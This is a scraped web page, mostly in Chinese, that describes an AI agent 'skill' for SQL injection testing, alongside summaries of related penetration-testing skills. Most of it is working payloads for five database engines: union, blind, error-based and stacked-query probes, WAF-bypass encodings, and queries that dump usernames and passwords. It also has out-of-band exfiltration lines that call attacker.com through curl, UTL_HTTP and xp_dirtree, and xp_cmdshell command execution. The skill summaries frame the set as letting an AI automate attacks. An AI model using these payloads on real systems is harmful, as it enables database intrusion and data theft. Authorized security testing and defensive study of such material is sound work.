mit einem Klick
sql-injection
// SQL 注入漏洞测试技能。覆盖联合注入、布尔盲注、时间盲注、报错注入、堆叠查询等攻击向量, 提供 MySQL/PostgreSQL/MSSQL/Oracle/SQLite 多数据库的特征 Payload, 包含 WAF 绕过策略和系统化测试流程,适用于 Web 应用 SQL 注入漏洞的发现与确认。
// SQL 注入漏洞测试技能。覆盖联合注入、布尔盲注、时间盲注、报错注入、堆叠查询等攻击向量, 提供 MySQL/PostgreSQL/MSSQL/Oracle/SQLite 多数据库的特征 Payload, 包含 WAF 绕过策略和系统化测试流程,适用于 Web 应用 SQL 注入漏洞的发现与确认。
渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能,将抽象的安全测试方法论 映射到可直接调用的工具链,定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作,串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时,应首先参考此技能进行任务设计。
Web 应用越权漏洞测试技能。覆盖水平越权(IDOR)、垂直越权(权限提升)、业务逻辑绕过 三大类测试场景。提供基于 HTTP 请求篡改的系统化测试方法论,包括参数替换、Cookie/Token 交换、角色 ID 篡改、隐藏字段操控、HTTP 方法变换、路径遍历、请求头伪造等具体技术。 每种技术都映射到可直接调用的工具(do_http_request, send_http_request_packet, use_browser), 确保 AI 可以自动化执行越权测试。参考 OWASP WSTG-ATHZ-02/03/04 和 OWASP Top 10 A01。
Browser automation skill for web page interaction. Two strategies: (1) Snapshot + refs for simple static pages; (2) JavaScript-first for login forms, SPA, and dynamic pages (PREFERRED). Covers opening URLs, snapshots, clicking, filling forms, evaluating JS, screenshots, tab management, and navigation. Built on go-rod/CDP with headless Chrome. If snapshot returns 0 element refs, DO NOT retry -- switch to JavaScript strategy immediately.
操作系统命令注入漏洞测试技能。覆盖 Linux 和 Windows 环境下的命令注入检测与验证, 提供多种注入操作符、盲注检测方法、编码绕过策略和分步测试流程, 适用于 Web 应用中命令执行类漏洞的发现与确认(CWE-77/CWE-78)。
渗透测试侦查与任务规划技能。定义渗透测试的完整工作流程:从信息收集(Recon)到 范围确定、任务规划和漏洞测试执行。覆盖端口扫描、子域名枚举、Web 搜索、 服务识别等侦查手段,提供 OWASP Top 10 检查矩阵和任务编排策略。
服务端模版注入(SSTI)漏洞测试技能。提供模版引擎指纹识别决策树,覆盖 Jinja2/Twig/Freemarker/Velocity/Thymeleaf/Smarty/Pebble/Mako 等主流引擎的 PoC 探测与 RCE Payload,包含沙箱逃逸技术和系统化测试流程(CWE-1336)。
| name | sql-injection |
| description | SQL 注入漏洞测试技能。覆盖联合注入、布尔盲注、时间盲注、报错注入、堆叠查询等攻击向量, 提供 MySQL/PostgreSQL/MSSQL/Oracle/SQLite 多数据库的特征 Payload, 包含 WAF 绕过策略和系统化测试流程,适用于 Web 应用 SQL 注入漏洞的发现与确认。 |
系统化检测和验证 Web 应用中的 SQL 注入漏洞。 通过参数篡改、布尔条件判断、时间延迟观测和报错信息分析, 定位 SQL 拼接点并评估可利用性。
联合查询注入 (UNION-based)
报错注入 (Error-based)
extractvalue(), updatexml(), exp(), floor(rand())布尔盲注 (Boolean-based)
时间盲注 (Time-based)
; 终止当前查询并执行新查询对每个参数尝试基础探针:
'
"
\
')
")
;
' OR '1'='1
' OR '1'='2
1 OR 1=1
1 OR 1=2
1' OR '1'='1' --
1' OR '1'='1' #
观察响应:
| 探测方法 | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| 字符串连接 | 'a' 'b' 或 CONCAT('a','b') | 'a'||'b' | 'a'+'b' | 'a'||'b' | 'a'||'b' |
| 注释符 | -- 或 # | -- | -- | -- | -- |
| 版本函数 | VERSION() | version() | @@VERSION | SELECT banner FROM v$version | sqlite_version() |
| 延时函数 | SLEEP(5) | pg_sleep(5) | WAITFOR DELAY '0:0:5' | dbms_pipe.receive_message('a',5) | 无内置 |
| 当前用户 | USER() | current_user | SYSTEM_USER | USER | N/A |
| 当前数据库 | DATABASE() | current_database() | DB_NAME() | SELECT ora_database_name FROM dual | N/A |
联合注入确认
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY N--
-- 或
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3,...,N--
' UNION SELECT 'a','b','c',...--
' UNION SELECT username,password FROM users--
布尔盲注确认
' AND 1=1-- (TRUE, 正常页面)
' AND 1=2-- (FALSE, 异常页面)
' AND SUBSTRING(@@version,1,1)='5'--
时间盲注确认
' AND SLEEP(5)-- (MySQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
' AND pg_sleep(5)-- (PostgreSQL)
MySQL 信息收集
-- 列出所有数据库
' UNION SELECT schema_name,NULL FROM information_schema.schemata--
-- 列出指定数据库的表
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'--
-- 列出指定表的列
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- 提取数据
' UNION SELECT username,password FROM users--
PostgreSQL 信息收集
-- 列出数据库
' UNION SELECT datname,NULL FROM pg_database--
-- 列出表
' UNION SELECT tablename,NULL FROM pg_tables WHERE schemaname='public'--
-- 列出列
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
MSSQL 信息收集
-- 列出数据库
' UNION SELECT name,NULL FROM master..sysdatabases--
-- 列出表
' UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--
-- 列出列
' UNION SELECT name,NULL FROM syscolumns WHERE id=OBJECT_ID('users')--
报错注入
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--
' AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND exp(~(SELECT * FROM (SELECT version())a))--
时间盲注
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
' AND BENCHMARK(10000000,SHA1('test'))--
带外数据外带
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))--
报错注入
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST(chr(126)||version()||chr(126) AS int)--
时间盲注
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
带外数据外带
'; COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?d='||version()--
命令执行(需要权限)
'; CREATE OR REPLACE FUNCTION cmd(text) RETURNS void AS $$ BEGIN PERFORM cmd; END; $$ LANGUAGE plpgsql;--
报错注入
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
时间盲注
'; IF(1=1) WAITFOR DELAY '0:0:5'--
'; IF(SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'--
带外数据外带
'; EXEC master..xp_dirtree '\\attacker.com\share'--
'; DECLARE @q varchar(1024);SET @q='\\'+@@version+'.attacker.com\a';EXEC master..xp_dirtree @q--
命令执行
'; EXEC xp_cmdshell 'whoami'--
报错注入
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE ROWNUM=1))--
时间盲注
' AND 1=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)--
带外数据外带
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?d='||(SELECT banner FROM v$version WHERE ROWNUM=1)) FROM dual--
联合注入
' UNION SELECT sql,NULL FROM sqlite_master--
' UNION SELECT tbl_name,NULL FROM sqlite_master WHERE type='table'--
布尔盲注
' AND UNICODE(SUBSTR((SELECT sql FROM sqlite_master LIMIT 1),1,1))>64--
'/**/OR/**/1=1--
' OR\t1=1--
'%09OR%091=1--
'%0aOR%0a1=1--
'+OR+1=1--
' uNiOn SeLeCt 1,2,3--
' UN/**/ION SE/**/LECT 1,2,3--
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
-- URL 双重编码
%252f%252a*/UNION%252f%252a*/SELECT
-- Hex 编码
' UNION SELECT 0x61646d696e--
-- Char 函数
' UNION SELECT CHAR(97,100,109,105,110)--
-- 替代 UNION SELECT
' UNION ALL SELECT 1,2,3--
' UNION DISTINCT SELECT 1,2,3--
-- 替代 OR/AND
' || 1=1--
' && 1=1--
-- 替代引号
' UNION SELECT CHAR(97)-- (不使用字符串引号)
?id=1&id=' UNION SELECT 1,2--输入在存储时未被利用,在后续另一个 SQL 查询中被使用时触发。
典型场景:
admin'--测试方法: